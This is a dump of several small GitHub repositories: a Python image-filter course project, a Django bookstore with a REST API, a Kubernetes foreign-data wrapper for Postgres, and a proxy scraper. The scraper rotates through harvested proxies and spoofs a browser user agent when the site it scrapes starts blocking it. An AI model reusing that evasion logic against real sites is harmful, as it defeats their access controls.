shivanii10/Final-Project-Code-in-Place-2021
https://github.com/shivanii10/Final-Project-Code-in-Place-2021
b65dbb75bf3a43ff6dcc0cd81420c7e6e05aa6b1
5d48f4821d7ea8e2eb816bd3ebf77d4f2b342232
10f69d18f7d465ba5c6a997e167f07a07e160b90
refs/heads/main
2023-06-30T05:05:29.056907
2021-07-28T11:15:30
2021-07-28T11:15:30
381,668,769
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7396021485328674, "alphanum_fraction": 0.8028932809829712, "avg_line_length": 41.53845977783203, "blob_id": "1d09a8d2abd1ceae049b1899ae7615a224e3a155", "content_id": "7b24f23527e4d6127596cbb78e8312c5a52b3ab6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 557, "license_type": "no_license", "max_line_length": 223, "num_lines": 13, "path": "/README.md", "repo_name": "shivanii10/Final-Project-Code-in-Place-2021", "src_encoding": "UTF-8", "text": "# Final-Project-Code-in-Place-2021\n\nCode in Place (CS106A)\nStanford University\nApr 2021 – May 2021 \n\nThe course was offered by Stanford University during the COVID-19 pandemic. \nIt brought together 12,000 students and 1100 volunteer teachers participating from around the world. The course is a 6-week introduction to Python programming using materials from the first half of Stanford’s CS106A course.\nThe project is related to Images, \nwe are working with loops, functions, using python modules.\n\nFor better Undertsanding:\nhttps://youtu.be/9_6Qv8qQ77k\n" }, { "alpha_fraction": 0.5410568118095398, "alphanum_fraction": 0.560903012752533, "avg_line_length": 25.006452560424805, "blob_id": "c4cf471442f1d3fde5b5b815a70ff1aade8366f2", "content_id": "1c30569735bb425c34d2d3a32be2ffafd7ccc3fc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4031, "license_type": "no_license", "max_line_length": 93, "num_lines": 155, "path": "/final_project.py", "repo_name": "shivanii10/Final-Project-Code-in-Place-2021", "src_encoding": "UTF-8", "text": "\"\"\"\nThis program implements a rad image filter.\n\"\"\"\nfrom simpleimage import SimpleImage\nimport random\n\nDEFAULT_FILE = 'images/mt-rainier.jpg'\n\ndef main():\n\n filename = get_file()\n image = SimpleImage(filename)\n data(image)\n \n \n\ndef get_file():\n # Read image file path from user, or use the default file\n filename = input('Enter image file (or press enter for default): ')\n if filename == '':\n filename = DEFAULT_FILE\n return filename\n\ndef codeInplace(image):\n for pixel in image:\n pixel.red=pixel.red*1.5\n pixel.blue=pixel.blue*1.5\n pixel.green=pixel.green*0.7\n return image\n\ndef grey(image):\n for pixel in image:\n avg= avg=((pixel.red+pixel.blue+pixel.green)//3)\n pixel.red=avg\n pixel.green=avg\n pixel.blue=avg\n return image\n\ndef red(image):\n for pixel in image:\n avg= avg=((pixel.red+pixel.blue+pixel.green)//3)\n pixel.red=avg*2\n pixel.green=avg*0.6\n pixel.blue=avg*0.6\n return image\n\ndef green(image):\n for pixel in image:\n avg= avg=((pixel.red+pixel.blue+pixel.green)//3)\n pixel.red=avg*0.1\n pixel.green=avg*1.4\n pixel.blue=avg*0.1\n return image\n\ndef classic_black(image):\n for pixel in image:\n avg= avg=((pixel.red+pixel.blue+pixel.green)//3)\n pixel.red=avg\n pixel.green=avg\n pixel.blue=avg*1.9\n return image\n\ndef violet(image):\n for pixel in image:\n avg= avg=((pixel.red+pixel.blue+pixel.green)//3)\n pixel.red=avg*0.9\n pixel.green=avg*0.1\n pixel.blue=avg*1.4\n return image\n\ndef blue(image):\n for pixel in image:\n avg=((pixel.red+pixel.blue+pixel.green)//3)\n pixel.red=avg*0.2\n pixel.green=avg*0.9\n pixel.blue=avg*1.9\n return image\n\ndef yellow(image):\n for pixel in image:\n avg= avg=((pixel.red+pixel.blue+pixel.green)//3)\n pixel.red=pixel.red*1.3\n pixel.green=pixel.green*1.3\n pixel.blue=0\n return image\n\n\ndef pink(image):\n for pixel in image:\n pixel.red=pixel.red*1.8\n pixel.green=pixel.green*0.4\n pixel.blue=pixel.blue*1.3\n return image\n\ndef _random(image):\n patch = make_recolored_patch(random.random()*1.5,random.random()*1.5,random.random()*1.5)\n patch.show()\n\ndef make_recolored_patch(red_scale, green_scale, blue_scale):\n patch = SimpleImage(DEFAULT_FILE)\n for pixel in patch:\n pixel.red *= red_scale\n pixel.blue *= blue_scale\n pixel.green *= green_scale\n return patch\n\ndef data(image):\n print(\"\\nhello! Welcome to Code In place :)\\n\")\n while True:\n print(\"These are all the filters we have for you ..\\n\")\n print(\"1.codeInplace filter\\t\\t2.Pink filter\")\n print(\"3.Red filter\\t\\t 4.Green filter\")\n print(\"5.Yellow filter\\t\\t 6.Blue filter\")\n print(\"7.Violet filter\\t\\t 8.Grey filter\")\n print(\"9.Cold black filter\\t\\t10.Random filter\\n\")\n print(\"-------------------To exit write 0-------------------\\n\")\n choice=int(input(\"Tell the number and get the output:\"))\n print()\n if choice!=0:\n image.show()\n if choice==1:\n image=codeInplace(image)\n image.show()\n if choice==2:\n image=pink(image)\n image.show()\n if choice==3:\n image=red(image)\n image.show()\n if choice==4:\n image=green(image)\n image.show()\n if choice==5:\n image=yellow(image)\n image.show()\n if choice==6:\n image=blue(image)\n image.show()\n if choice==7:\n image=violet(image)\n image.show()\n if choice==8:\n image=grey(image)\n image.show()\n if choice==9:\n image=classic_black(image)\n image.show()\n if choice==10:\n image=_random(image)\n if choice==0:\n break\n\n\nif __name__ == '__main__':\n main()\n" } ]
2
gadzan/Pyxy
https://github.com/gadzan/Pyxy
02c443b43cd0951f685cbce3c6e3819b5528f052
1d555930148fbe123b20ee1abd0447bd76044219
83120620ed703b075ae9160489caf7be47a226d1
refs/heads/master
2018-01-09T07:11:23.262925
2016-03-05T04:22:51
2016-03-05T04:22:51
53,182,427
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5186915993690491, "alphanum_fraction": 0.5514018535614014, "avg_line_length": 21.526315689086914, "blob_id": "1f8ad39867a747ab476e96a6a814914389492be5", "content_id": "09e02f7ce95f5a76aec36658ce8bcfeddb4436b0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 442, "license_type": "no_license", "max_line_length": 59, "num_lines": 19, "path": "/pxy.sql", "repo_name": "gadzan/Pyxy", "src_encoding": "UTF-8", "text": "--\n-- 数据库: `ipxy`\n--\n\n-- --------------------------------------------------------\n\n--\n-- 表的结构 `proxy`\n--\n\nCREATE TABLE IF NOT EXISTS `proxy` (\n `ID` int(20) NOT NULL AUTO_INCREMENT,\n `PROTOCOL` varchar(20) NOT NULL,\n `IP` varchar(20) NOT NULL,\n `PORT` varchar(10) NOT NULL,\n `CHECK_TIME` varchar(20) NOT NULL,\n `ACQ_TIME` varchar(20) NOT NULL,\n PRIMARY KEY (`ID`)\n) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;\n" }, { "alpha_fraction": 0.4198579490184784, "alphanum_fraction": 0.443392276763916, "avg_line_length": 47.52027130126953, "blob_id": "e806a03014d90cfc27b7a9d985247b92468d23cd", "content_id": "6cce0a866a2f9d0d904279502f0818e8893a7dfd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7787, "license_type": "no_license", "max_line_length": 176, "num_lines": 148, "path": "/pxy.py", "repo_name": "gadzan/Pyxy", "src_encoding": "UTF-8", "text": "#coding:utf-8\nimport json\nimport sys\nimport urllib, urllib2\nimport datetime\nimport time\nimport random\nreload(sys)\nsys.setdefaultencoding('utf-8') \nfrom Queue import Queue\nfrom bs4 import BeautifulSoup\nimport MySQLdb as mdb\nDB_HOST = '127.0.0.1'\nDB_USER = 'root'\nDB_PASS = ''\nID=0\nST=1000\nclassify=\"inha\"#inha/高匿代理页, intr/国内普通代理,outha/国外高匿代理, outtr/国外普通代理\nproxy = {u'http':u'111.194.97.102:8090'}#随便选一个代理地址替换掉吧\n\nclass ProxyServer:\n def __init__(self): #数据库初始化,用的是mysql\n self.dbconn = mdb.connect(DB_HOST, DB_USER, DB_PASS, 'ipxy', charset='utf8')\n self.dbconn.autocommit(False)\n self.next_proxy_set = set()\n self.chance=0\n self.fail=0\n self.count_errno=0\n self.dbcurr = self.dbconn.cursor()\n self.dbcurr.execute('SET NAMES utf8')\n \n def get_prxy(self,num): #这个函数用来爬取代理\n while num>0:\n global proxy,ID,classify,ST\n count=0\n for page in range(1,718): #代理网站总页数,我给了个718页\n if self.chance >0: #如果爬取网站开始反击,那就从它那爬下来的代理伪装,self.chance表示我什么时候开始换代理\n if ST % 100==0:\n self.dbcurr.execute(\"select count(*) from proxy\")\n for r in self.dbcurr:\n count=r[0]\n if ST>count:\n ST=random.randrange(1, count) #随机函数随机换,从数据库第一条开始到最后一条\n self.dbcurr.execute(\"select * from proxy where ID=%s\",(ST))\n results = self.dbcurr.fetchall()\n for r in results:\n protocol=r[1]\n ip=r[2]\n port=r[3]\n pro=(protocol,ip+\":\"+port)\n if pro not in self.next_proxy_set:\n self.next_proxy_set.add(pro)\n self.chance=0\n ST+=1\n proxy_support = urllib2.ProxyHandler(proxy) #注册代理\n # opener = urllib2.build_opener(proxy_support,urllib2.HTTPHandler(debuglevel=1))\n opener = urllib2.build_opener(proxy_support)\n urllib2.install_opener(opener)\n #添加头信息,模仿浏览器抓取网页,对付返回403禁止访问的问题\n i_headers = {'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6'}\n #i_headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48'}\n #url='http://www.kuaidaili.com/free/inha/' + str(page)\n url='http://www.kuaidaili.com/free/'+classify+'/' + str(page)\n html_doc=\"\"\n try:\n req = urllib2.Request(url,headers=i_headers)\n response = urllib2.urlopen(req, None,5)\n html_doc = response.read() #获取了要爬取的页面\n except Exception as ex: #抛出异常,服务器开始封锁,开始换代理\n print \"ex=\",ex\n pass\n self.chance+=1\n if self.chance>0:\n if len(self.next_proxy_set)>0:\n protocol,socket=self.next_proxy_set.pop()\n proxy= {protocol:socket}\n print \"proxy\",proxy\n print \"change proxy success.\"\n continue\n #html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page)).read()\n if html_doc !=\"\": #解析爬取的页面,用的beautifulSoup\n soup = BeautifulSoup(html_doc,from_encoding=\"utf8\")\n #print \"soup\",soup\n #trs = soup.find('table', id='ip_list').find_all('tr') #获得所有行\n trs = \"\"\n try:\n trs = soup.find('table').find_all('tr')\n except:\n print \"error\"\n continue\n for tr in trs[1:]:\n tds = tr.find_all('td')\n ip = tds[0].text.strip() #ip\n port = tds[1].text.strip() #端口\n protocol = tds[3].text.strip()\n #tds = tr.find_all('td')\n #ip = tds[2].text.strip()\n #port = tds[3].text.strip()\n #protocol = tds[6].text.strip()\n get_time= tds[6].text.strip()\n #get_time = \"20\"+get_time\n check_time = datetime.datetime.strptime(get_time,'%Y-%m-%d %H:%M:%S')\n temp = time.time()\n x = time.localtime(float(temp))\n time_now = time.strftime(\"%Y-%m-%d %H:%M:%S\",x) # get time now,入库时间\n http_ip = protocol+'://'+ip+':'+port\n if protocol == 'HTTP' or protocol == 'HTTPS': #只要http协议相关代理,其他一律不要\n content=\"\"\n try: # 爬下来后需要检测代理是否真的有效\n proxy_support=urllib2.ProxyHandler({protocol:http_ip})\n # proxy_support = urllib2.ProxyHandler({'http':'http://124.200.100.50:8080'})\n opener = urllib2.build_opener(proxy_support, urllib2.HTTPHandler)\n urllib2.install_opener(opener)\n if self.count_errno>50:\n # todo 这里放更换test_url的代码\n self.count_errno=0\n test_url=\"http://www.gadzan.com\"\n req1 = urllib2.Request(test_url,headers=i_headers)\n response1 = urllib2.urlopen(req1, None,5)\n content = response1.read()\n except Exception as ex: #抛异常后的处理\n #print \"ex2=\",ex\n pass\n self.fail+=1\n if self.fail>10:\n self.fail=0\n break\n continue\n if content!=\"\": \n print \"success.\"\n self.dbcurr.execute('select ID from proxy where IP=%s', (ip)) #开始入库了\n y = self.dbcurr.fetchone()\n if not y:\n print 'add','%s//:%s:%s' % (protocol, ip, port)\n self.dbcurr.execute('INSERT INTO proxy(PROTOCOL,IP,PORT,CHECK_TIME,ACQ_TIME) VALUES(%s,%s,%s,%s,%s)',(protocol,ip,port,check_time,time_now))\n self.dbconn.commit()\n num-=1\n if num % 4 ==0:\n classify=\"intr\" #这个是原来网站的那几个标签栏名称,我是一栏一栏的爬取的\n if num % 4 ==1:\n classify=\"outha\"\n if num % 4 ==2:\n classify=\"outtr\"\n if num % 4 ==3:\n classify=\"inha\"\nif __name__ == '__main__':\n proSer = ProxyServer()\n proSer.get_prxy(10000) #爬10000次,单线程,爬个一两周没有问题\n" }, { "alpha_fraction": 0.6888889074325562, "alphanum_fraction": 0.7222222089767456, "avg_line_length": 14, "blob_id": "343e447a7cba3d050349228928c3f34243d50af9", "content_id": "2cabc14bf4cacd48da6420b8b18b7e32838ab2bb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 136, "license_type": "no_license", "max_line_length": 36, "num_lines": 6, "path": "/README.md", "repo_name": "gadzan/Pyxy", "src_encoding": "UTF-8", "text": "# Pyxy\n1. 创建数据库ipxy\n2. 执行pxy.sql 创建表结构\n3. 运行 pxy.py\n\n* 可以用nohup python pxy.py 在linux后台运行。\n" } ]
3
toka99/Bookstore-django
https://github.com/toka99/Bookstore-django
3acf2e44690efe1dfb6808e8a2c5220717868337
0c8688d9e31860f936fb17080fdeb43c5b688fa3
359e908b04b09351e820a41137898f10d880bc09
refs/heads/master
2023-04-08T18:04:39.360728
2021-04-24T14:33:10
2021-04-24T14:33:10
361,183,642
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6938775777816772, "alphanum_fraction": 0.6938775777816772, "avg_line_length": 25.727272033691406, "blob_id": "b79e90a8fe635730711e25af07fbd1b861ea22dd", "content_id": "89789a72c7f2b3bb630d5b5615acacfecc7ba1db", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 588, "license_type": "no_license", "max_line_length": 84, "num_lines": 22, "path": "/books/signals.py", "repo_name": "toka99/Bookstore-django", "src_encoding": "UTF-8", "text": "from django.db.models.signals import post_save , pre_save , post_delete , pre_delete\nfrom django.dispatch import receiver\n\n\n\nfrom .models import Book , Isbn , User\n\nfrom django.core.mail import send_mail\n\n@receiver(post_save,sender=Book)\ndef after_book_creation(sender,instance,created,*args,**kwargs):\n if created:\n isbn_instance=Isbn.objects.create(author_title=instance.author.username)\n\n \n instance.isbn=isbn_instance\n instance.save()\n\n\n # send_mail('New Book {}'.format(instance.title),'New Book is created')\n else:\n print(\"Updating\")\n" }, { "alpha_fraction": 0.6903703808784485, "alphanum_fraction": 0.6933333277702332, "avg_line_length": 23.962963104248047, "blob_id": "178d3299bb83de4e68964c6c7b8e39c844ab9fba", "content_id": "a2294cfdfcf24aa7d6928e673e64579401459982", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 675, "license_type": "no_license", "max_line_length": 57, "num_lines": 27, "path": "/books/admin.py", "repo_name": "toka99/Bookstore-django", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom .models import Book , Category , Metric , Tag , Isbn\nfrom .forms import BookForm\n# Register your models here.\n\n\nclass BookAdmin(admin.ModelAdmin):\n form = BookForm\n list_display = (\"title\" , \"author\" , \"content\")\n list_filter = (\"categories\" , )\n search_fields = (\"title\" , )\n # readonly_fields = (\"author\" , )\n\n\nclass BookInLine(admin.StackedInline):\n model = Book\n max_num =3 \n extre =1 \n\nclass TagAdmin(admin.ModelAdmin):\n inlines = [BookInLine]\n\nadmin.site.register(Book , BookAdmin)\nadmin.site.register(Category)\nadmin.site.register(Metric)\nadmin.site.register(Isbn)\nadmin.site.register(Tag , TagAdmin )\n\n" }, { "alpha_fraction": 0.5396039485931396, "alphanum_fraction": 0.5891088843345642, "avg_line_length": 21.44444465637207, "blob_id": "1fab5f37da3693987d48ed922062bcf2ea093230", "content_id": "6671cfb37ff62d56cb618a4d944de4043e52c00b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 404, "license_type": "no_license", "max_line_length": 73, "num_lines": 18, "path": "/books/migrations/0008_isbn_author_title.py", "repo_name": "toka99/Bookstore-django", "src_encoding": "UTF-8", "text": "# Generated by Django 3.2 on 2021-04-22 11:51\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('books', '0007_alter_isbn_isbn'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='isbn',\n name='author_title',\n field=models.CharField(blank=True, max_length=50, null=True),\n ),\n ]\n" }, { "alpha_fraction": 0.6283524632453918, "alphanum_fraction": 0.6283524632453918, "avg_line_length": 21.877193450927734, "blob_id": "29a8255a8371a545fa64c01dc00d941ad9cd3d4c", "content_id": "aa608cdb363cc9a8aafdb0ba5d4c7ac42c5500ea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1305, "license_type": "no_license", "max_line_length": 79, "num_lines": 57, "path": "/books/views.py", "repo_name": "toka99/Bookstore-django", "src_encoding": "UTF-8", "text": "from django.shortcuts import render , redirect\nfrom django.http import HttpResponse\nfrom .forms import BookForm\nfrom .models import Book\nfrom django.contrib.auth.decorators import login_required , permission_required\n# Create your views here.\n\n\n@login_required(login_url=\"/login\")\n@permission_required([\"books.view_book\"] , raise_exception=True)\n\n\ndef index(request):\n \n books = Book.objects.all()\n \n return render(request,\"books/index.html\" ,{\n \"books\" : books\n })\n \n@login_required(login_url=\"/login\")\ndef create(request):\n \n form = BookForm(request.POST or None)\n if form.is_valid():\n form.save()\n return redirect(\"index\")\n \n return render(request,\"books/create.html\",{\n \"form\" : form\n }) \n\n\ndef edit(request , id):\n book = Book.objects.get(pk=id)\n form = BookForm(request.POST or None , instance=book)\n if form.is_valid():\n form.save()\n return redirect(\"index\")\n \n return render(request,\"books/edit.html\",{\n \"form\" : form ,\n \"book\" : book\n }) \n\n\n\ndef delete(request , id):\n book = Book.objects.get(pk=id)\n book.delete()\n return redirect(\"index\")\n\ndef show(request , id):\n book = Book.objects.get(pk=id)\n return render(request,\"books/show.html\",{\n \"book\" : book\n }) \n" }, { "alpha_fraction": 0.6763202548027039, "alphanum_fraction": 0.6854060292243958, "avg_line_length": 30.35714340209961, "blob_id": "9edab14f2971d3888ca4875372d97825bccd8e1a", "content_id": "8205e5f4841a759630926c3d2e56fc0248992bbd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1761, "license_type": "no_license", "max_line_length": 106, "num_lines": 56, "path": "/books/models.py", "repo_name": "toka99/Bookstore-django", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom django.contrib.auth.models import User , AbstractUser\nimport uuid\n\n# Create your models here.\n\n# class User(AbstractBaseUser):\n# pass\n\n\n\nclass Tag(models.Model):\n name = models.CharField(max_length=25)\n\n\n def __str__(self):\n return self.name\n\n\n\nclass Category(models.Model):\n class Meta:\n verbose_name_plural=\"categories\"\n name = models.CharField(max_length=50)\n created_at=models.DateTimeField(auto_now_add=True)\n \n def __str__(self):\n return self.name\n\nclass Metric(models.Model):\n visits = models.IntegerField(null=True , blank=True)\n likes = models.IntegerField(null=True , blank=True)\n ratio = models.DecimalField(null=True , blank=True , max_digits=2 , decimal_places=1)\n\n def __str__(self):\n return f\"{self.visits} visists | {self.likes} likes | ratio {self.ratio}\"\n\n\nclass Isbn(models.Model):\n isbn=models.UUIDField(default=uuid.uuid4, editable=False , primary_key=True )\n author_title=models.CharField(max_length=50, null=True , blank=True )\n def __str__(self):\n return f\" Author_title {self.author_title} | Isbn {self.isbn}\"\n\n\nclass Book(models.Model):\n title = models.CharField(max_length=255 )\n content = models.TextField(max_length=2048 )\n author = models.ForeignKey(User,null=True , blank=True ,on_delete=models.CASCADE,related_name=\"books\")\n categories = models.ManyToManyField(Category)\n metrics = models.OneToOneField(Metric , on_delete=models.CASCADE , null=True , blank=True)\n isbn = models.OneToOneField(Isbn , on_delete=models.CASCADE , null=True , blank=True)\n tag = models.ForeignKey(Tag , null=True , blank=True , on_delete=models.CASCADE)\n\n def __str__(self):\n return self.title\n \n" }, { "alpha_fraction": 0.5981055498123169, "alphanum_fraction": 0.6035182476043701, "avg_line_length": 25.35714340209961, "blob_id": "7e654fda181405059119df5bb064b5ab095e11bc", "content_id": "7d4b636e604adf408e394054611b40df0ce5c4d0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 739, "license_type": "no_license", "max_line_length": 73, "num_lines": 28, "path": "/books/forms.py", "repo_name": "toka99/Bookstore-django", "src_encoding": "UTF-8", "text": "from django import forms\nfrom .models import Book\nfrom django.core.exceptions import ValidationError\n\nclass BookForm(forms.ModelForm):\n class Meta:\n model = Book\n fields = \"__all__\"\n exclude = (\"metrics\",)\n\n\n \n def clean_title(self):\n title=self.cleaned_data.get(\"title\")\n if \"test\" in title:\n raise ValidationError(\"title shouldn't has test word!\")\n return title \n\n \n def clean(self):\n super(BookForm , self).clean()\n content = self.cleaned_data.get('content')\n title = self.cleaned_data.get('title')\n\n if len(content) < 10:\n raise ValidationError(\"content must be longer than 10 chars\")\n\n return self.cleaned_data\n\n" }, { "alpha_fraction": 0.632497251033783, "alphanum_fraction": 0.6423118710517883, "avg_line_length": 25.44230842590332, "blob_id": "2f9bde9a3a1809b61640c3820c57f425d802fbc4", "content_id": "273c1d8e639de9d7314280c89ec2391f0094e2ab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2751, "license_type": "no_license", "max_line_length": 70, "num_lines": 104, "path": "/books/api/views.py", "repo_name": "toka99/Bookstore-django", "src_encoding": "UTF-8", "text": "from rest_framework.response import Response\nfrom rest_framework import status\nfrom books.models import Book\nfrom .serializers import BookSerializer , UserSerializer\nfrom rest_framework.permissions import IsAuthenticated, BasePermission\nfrom rest_framework.decorators import api_view, permission_classes\n\n\nclass IsViewer(BasePermission):\n def has_permission(self , request , view):\n return request.user.has_perm(\"books.view_book\")\n\n\n@api_view(['POST'])\ndef api_signup(request):\n serializer = UserSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save() \n return Response(data={\n \"success\":True,\n \"message\":\"User has been registered\"\n },\n status=status.HTTP_201_CREATED\n ) \n \n return Response(data={\n\n \"success\":False,\n \"errors\":serializer.errors\n },\n status=status.HTTP_400_BAD_REQUEST\n ) \n \n \n\n@api_view(['GET'])\n@permission_classes([IsAuthenticated])\ndef index(request):\n books = Book.objects.all()\n serializer = BookSerializer(instance=books, many=True)\n\n return Response(data=serializer.data,status=status.HTTP_200_OK)\n\n\n@api_view(['GET'])\n@permission_classes([IsAuthenticated])\ndef show(request , id):\n book = Book.objects.get(pk=id)\n serializer = BookSerializer(instance=book)\n\n return Response(data=serializer.data,status=status.HTTP_200_OK)\n\n \n@api_view(['POST',])\n@permission_classes([IsAuthenticated])\ndef create(request):\n serializer = BookSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(data={\n \"success\":True,\n \"message\":\"Book has been created\"\n },\n status=status.HTTP_201_CREATED\n )\n return Response(data={\n\n \"success\":False,\n \"errors\":serializer.errors\n },\n status=status.HTTP_400_BAD_REQUEST\n )\n\n\n@api_view(['PUT',])\n@permission_classes([IsAuthenticated])\ndef edit(request, id):\n book = Book.objects.get(pk=id)\n serializer = BookSerializer(data=request.data , instance=book)\n if serializer.is_valid():\n serializer.save()\n return Response(data={\n \"success\":True,\n \"message\":\"Book has been updated\"\n },\n status=status.HTTP_201_CREATED\n )\n return Response(data={\n\n \"success\":False,\n \"errors\":serializer.errors\n },\n status=status.HTTP_400_BAD_REQUEST\n )\n\n\n@api_view(['DELETE'])\n@permission_classes([IsAuthenticated])\ndef delete(request , id):\n book = Book.objects.get(pk=id)\n serializer = BookSerializer(instance=book)\n book.delete()\n\n return Response(data=serializer.data,status=status.HTTP_200_OK)\n\n" } ]
7
ktchen14/kubernetesql
https://github.com/ktchen14/kubernetesql
7837476cedcef3254ef10e1034ba56beb5a68d9a
e8281d5d7a8bec40ac91170d0757f5c50d77d0f1
b6f8649ff99011b34ef9f47d771cce78fef8dff7
refs/heads/master
2020-03-21T18:26:51.536830
2018-06-28T15:36:55
2018-06-28T15:36:55
138,892,153
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5878549814224243, "alphanum_fraction": 0.5920110940933228, "avg_line_length": 37.32743453979492, "blob_id": "8b5b48207f4e5b86ee1c682547d1c81703f2043a", "content_id": "04b22bc8b99f8687c9ad4015155829dd9d4a513d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4331, "license_type": "no_license", "max_line_length": 110, "num_lines": 113, "path": "/kubernetesql/__init__.py", "repo_name": "ktchen14/kubernetesql", "src_encoding": "UTF-8", "text": "from multicorn import ForeignDataWrapper\nfrom multicorn.utils import log_to_postgres\nimport logging\nfrom kubernetes import client, config\nfrom datetime import datetime, timezone\nimport json\nfrom os.path import expanduser\nimport os\n\nos.environ['GOOGLE_APPLICATION_CREDENTIALS'] = expanduser('~/workspace/kubernetesql/user.json')\n\nconfig.load_kube_config()\n\ndef initialize_fdw(options, columns):\n if options['resource_type'] == 'nodes':\n return KubeNodeDataWrapper(options, columns)\n elif options['resource_type'] == 'deployments':\n return KubeDeploymentDataWrapper(options,columns)\n elif options['resource_type'] == 'pods':\n return KubePodDataWrapper(options,columns)\n\nclass KubeNodeDataWrapper(ForeignDataWrapper):\n def __init__(self, *args):\n super(KubeNodeDataWrapper, self).__init__(*args)\n self.kube = client.CoreV1Api()\n\n def execute(self, quals, columns):\n result = self.kube.list_node(watch=False)\n now = datetime.now(tz=timezone.utc)\n\n for i in result.items:\n external_ips = [address.address for address in i.status.addresses if address.type == 'ExternalIP']\n external_ip = external_ips[0] if len(external_ips) > 0 else None\n line = {\n 'name': i.metadata.name,\n 'age': str(now - i.metadata.creation_timestamp),\n 'status': i.status.conditions[-1].type,\n 'version': i.status.node_info.kubelet_version,\n 'external_ip': external_ip\n }\n yield line\n\nclass KubeDeploymentDataWrapper(ForeignDataWrapper):\n def __init__(self, *args):\n super(KubeDeploymentDataWrapper, self).__init__(*args)\n self.kube = client.AppsV1beta1Api()\n\n @property\n def rowid_column(self):\n return 'name'\n\n def execute(self, quals, columns):\n result = self.kube.list_namespaced_deployment('default', watch=False)\n now = datetime.now(tz=timezone.utc)\n\n for i in result.items:\n line = {\n 'name': i.metadata.name,\n 'desired': i.spec.replicas,\n 'current_num': i.status.ready_replicas,\n 'up_to_date': i.status.updated_replicas,\n 'available': i.status.available_replicas,\n 'age': str(now - i.metadata.creation_timestamp),\n 'annotations': json.dumps(i.metadata.annotations)\n }\n yield line\n\n def update(self, name, new_values):\n desired = new_values['desired']\n result = self.kube.patch_namespaced_deployment(name, 'default', { 'spec': { 'replicas': desired }})\n return new_values\n\nclass KubePodDataWrapper(ForeignDataWrapper):\n def __init__(self, *args):\n super(KubePodDataWrapper, self).__init__(*args)\n self.kube = client.CoreV1Api()\n self.v1beta2 = client.AppsV1beta2Api()\n\n def execute(self, quals, columns):\n result = self.kube.list_namespaced_pod('default', watch=False)\n now = datetime.now(tz=timezone.utc)\n\n for i in result.items:\n if i.metadata.owner_references is not None:\n owner_reference_name = i.metadata.owner_references[0].name\n replica_set = self.v1beta2.read_namespaced_replica_set(owner_reference_name, 'default') \n if replica_set.metadata.owner_references is not None:\n deployment_name = replica_set.metadata.owner_references[0].name\n else:\n deployment_name = None\n else:\n deployment_name = None\n\n container_count = len(i.status.container_statuses)\n ready = 0\n restarts = 0\n\n for j in i.status.container_statuses:\n if j.ready:\n ready += 1\n restarts += j.restart_count\n\n line = {\n 'name': i.metadata.name,\n 'node_name': i.spec.node_name,\n 'deployment_name': deployment_name,\n 'image_names': [container.image for container in i.spec.containers],\n 'ready': str(ready) + '/' + str(container_count),\n 'status': i.status.phase,\n 'restarts': restarts,\n 'age': str(now - i.status.start_time)\n }\n yield line\n" }, { "alpha_fraction": 0.7222222089767456, "alphanum_fraction": 0.7361111044883728, "avg_line_length": 20.600000381469727, "blob_id": "68fcfbb6141ddfba20b2bb05c6947f8b64608615", "content_id": "e1d0f9417b03fdc97742dd95afeda92c0a843d9c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 216, "license_type": "no_license", "max_line_length": 54, "num_lines": 10, "path": "/setup.py", "repo_name": "ktchen14/kubernetesql", "src_encoding": "UTF-8", "text": "import subprocess\nfrom setuptools import setup, find_packages, Extension\n\nsetup(\n name='kubernetesql',\n version='0.0.1',\n author='The kubernetesql hack team',\n license='Postgresql',\n packages=['kubernetesql']\n)\n" }, { "alpha_fraction": 0.5796105265617371, "alphanum_fraction": 0.5853379368782043, "avg_line_length": 42.70000076293945, "blob_id": "615c8aa4150cfecd7d0974ba766d53ebd9b38124", "content_id": "2a9b098b453b8366e9b0aa422c9f21ac39c7734d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 873, "license_type": "no_license", "max_line_length": 92, "num_lines": 20, "path": "/alltest", "repo_name": "ktchen14/kubernetesql", "src_encoding": "UTF-8", "text": "#! /usr/bin/env bash\n\npython3 setup.py install -f\npsql postgres < ddl.sql\n\necho \"================== EXECUTE ==================\"\npsql postgres <<< \"SELECT * FROM nodes;\"\npsql postgres <<< \"SELECT * FROM deployments;\"\npsql postgres <<< \"SELECT * FROM pods;\"\n\necho \"================== UPDATE ==================\"\npsql postgres <<< \"SELECT * FROM deployments WHERE name = 'nginx-deployment';\"\npsql postgres <<< \"UPDATE deployments SET desired = 5 WHERE name = 'nginx-deployment';\"\npsql postgres <<< \"SELECT * FROM deployments WHERE name = 